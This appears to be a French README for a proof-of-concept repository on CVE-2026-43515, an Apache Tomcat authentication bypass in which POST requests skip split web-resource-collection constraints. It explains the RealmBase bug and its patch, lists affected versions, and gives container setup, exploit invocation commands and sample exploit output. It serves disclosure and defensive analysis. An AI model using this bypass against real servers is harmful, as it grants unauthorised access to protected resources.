
PoC d'exploitabilité pour CVE-2026-43515 (contournement de contrainte Apache Tomcat).
Verdict d'exploitabilité : confirmé exploitable. Une requête POST vers une ressource protégée par une configuration
<web-resource-collection>scindée contourne entièrement l'authentification. La forme requise deweb.xmlest rare dans les déploiements standards — voir Analyse pour les détails.
CVE-2026-43515 est une vulnérabilité dans la logique d'évaluation des contraintes de sécurité d'Apache Tomcat. Lorsqu'une seule <security-constraint> définit plusieurs blocs partageant le même motif d'extension d'URL (par exemple ) mais déclarant chacun une méthode HTTP différente, Tomcat n'applique la contrainte que pour la méthode HTTP déclarée dans la collection correspondante. Toutes les collections suivantes sont silencieusement ignorées.
<web-resource-collection>*.htmlL'intention de l'administrateur :
<security-constraint>
<web-resource-collection>
<url-pattern>*.html</url-pattern>
<http-method>GET</http-method> <!-- collection[0] -->
</web-resource-collection>
<web-resource-collection>
<url-pattern>*.html</url-pattern>
<http-method>POST</http-method> <!-- collection[1] — silently dropped -->
</web-resource-collection>
<auth-constraint>
<role-name>admin</role-name>
</auth-constraint>
</security-constraint>
Ce que Tomcat non corrigé applique réellement :
GET *.html → 401 — contrainte appliquée ✓POST *.html → 200 — contrainte silencieusement ignorée ✗| Plage affectée | Corrigé dans |
|---|---|
| 7.0.0 – 7.0.109 | 7.0.110 |
| 8.5.0 – 8.5.100 | 8.5.101 |
| 9.0.0.M1 – 9.0.117 | 9.0.118 |
| 10.1.0.M1 – 10.1.54 | 10.1.55 |
| 11.0.0.M1 – 11.0.21 | 11.0.22 |
Le bug se trouve dans findSecurityConstraints(Request, Context) dans org.apache.catalina.realm.RealmBase. L'indicateur matched et l'index pos étaient déclarés hors de la boucle par collection :
// RealmBase.java — vulnerable
boolean matched = false;
int pos = -1;
for (int j = 0; j < collection.length; j++) {
// pattern matching sets matched = true and pos = j
// on the FIRST matching collection ...
}
if (matched) {
if (collection[pos].findMethod(method)) { // pos frozen to 0
results.add(constraints[i]);
}
}
Une fois que collection[0] correspondait au motif d'extension *.html, pos était figé à 0. L'appel à findMethod("POST") s'exécutait donc contre collection[0] (qui ne déclare que GET) et retournait false. Aucune contrainte n'était ajoutée à results pour la requête POST, et AuthenticatorBase concluait que la requête n'était soumise à aucune contrainte.
Le correctif (commit 276087d) déplace matched à l'intérieur de la boucle et remplace collection[pos] par collection[j], afin que chaque collection soit évaluée indépendamment :
// RealmBase.java — patched
for (int j = 0; j < collection.length; j++) {
boolean matched = false; // ← moved inside the loop
// pattern matching ...
if (matched) {
found = true;
if (collection[j].findMethod(method)) { // ← j, not pos
if (results == null) {
results = new ArrayList<>();
}
results.add(constraints[i]);
}
}
}
Le contournement est confirmé et reproductible. Le journal verbeux de Tomcat rend le mécanisme sans ambiguïté :
// GET — constraint correctly applied
AuthenticatorBase.invoke Calling authenticate()
AuthenticatorBase.invoke Failed authenticate() test → 401
// POST — constraint silently dropped
AuthenticatorBase.invoke Not subject to any constraint → 200
La vulnérabilité ne se déclenche qu'avec un motif web.xml spécifique : une unique <security-constraint> avec plusieurs blocs <web-resource-collection> partageant le même motif d'extension mais déclarant différentes méthodes HTTP.
Cette configuration est valide selon la spécification Servlet mais rare en pratique. La plupart des déploiements :
<http-method> entièrement (protégeant toutes les méthodes), ou<security-constraint> séparés par méthodeLes déploiements qui utilisent le motif de collections scindées pour appliquer un contrôle d'accès fin par méthode sur les motifs d'extension sont exposés.
cve-2026-43515-poc/
├── Dockerfile # Tomcat 11.0.0-M1 (affected version)
├── tomcat-users.xml # One valid user: validuser:s3cret! / role: admin
├── web.xml # Triggering config: split web-resource-collection
├── logging.properties # FINE-level logging to observe constraint evaluation
└── exploit/
├── exploit.go # PoC — Go
| Outil | Version | Notes |
|---|---|---|
| Podman | ≥ 4.0 | Docker fonctionne aussi |
| Go | ≥ 1.22 | Pour exécuter l'exploit localement |
Aucune dépendance Go externe.
podman build -t tomcat-cve-2026-43515 .
podman run -d --name tomcat-vuln \
-p 8080:8080 \
-v ./logging.properties:/usr/local/tomcat/conf/logging.properties:Z \
tomcat-cve-2026-43515
Attendez quelques secondes, puis vérifiez :
curl -si http://localhost:8080/protected/secret.html | head -1
# Expected: HTTP/1.1 401
cd exploit
go run exploit.go \
-target http://localhost:8080 \
-path /protected/secret.html \
-username validuser \
-password s3cret!
Options disponibles :
| Option | Défaut | Description |
|---|---|---|
-target | http://localhost:8080 | URL de base de Tomcat |
-path | /protected/secret.html | Chemin de la ressource protégée |
-username | validuser | Nom d'utilisateur valide pour le test de contrôle |
-password | s3cret! | Mot de passe pour le test de contrôle |
podman stop tomcat-vuln && podman rm tomcat-vuln
═══════════════════════════════════════════════════
CVE-2026-43515 — Apache Tomcat Constraint Bypass
═══════════════════════════════════════════════════
Target : http://localhost:8080/protected/secret.html
───────────────────────────────────────────────────
Probe 1 — GET without credentials
Expected: 401 (constraint applied to collection[0])
[1] GET (no credentials) → HTTP 401 ← ✓ constraint enforced as expected
Probe 2 — POST without credentials ← the exploit probe
Expected on VULNERABLE Tomcat: 200 (constraint NOT enforced)
[2] POST (no credentials) → HTTP 200 ← ✗ BYPASS CONFIRMED — constraint not enforced for POST
Probe 3 — GET with valid credentials (sanity check)
Expected: 200 (authenticated access granted)
[3] GET (with credentials) → HTTP 200 ← ✓ authenticated access granted
───────────────────────────────────────────────────
VERDICT: VULNERABLE
| Ressource | Lien |
|---|---|
| Commit de correctif — 11.0.x | apache/tomcat@276087d |
| Analyse complète — article de blog | return-zero.dev/posts/cve-2026-43515 |
Ce dépôt est destiné uniquement à des fins éducatives et à l'analyse locale de l'exploitabilité. Tous les tests ont été effectués contre un environnement conteneurisé auto-hébergé. N'exécutez pas ce PoC contre des systèmes dont vous n'êtes pas propriétaire ou pour lesquels vous ne disposez pas d'une autorisation écrite explicite de test.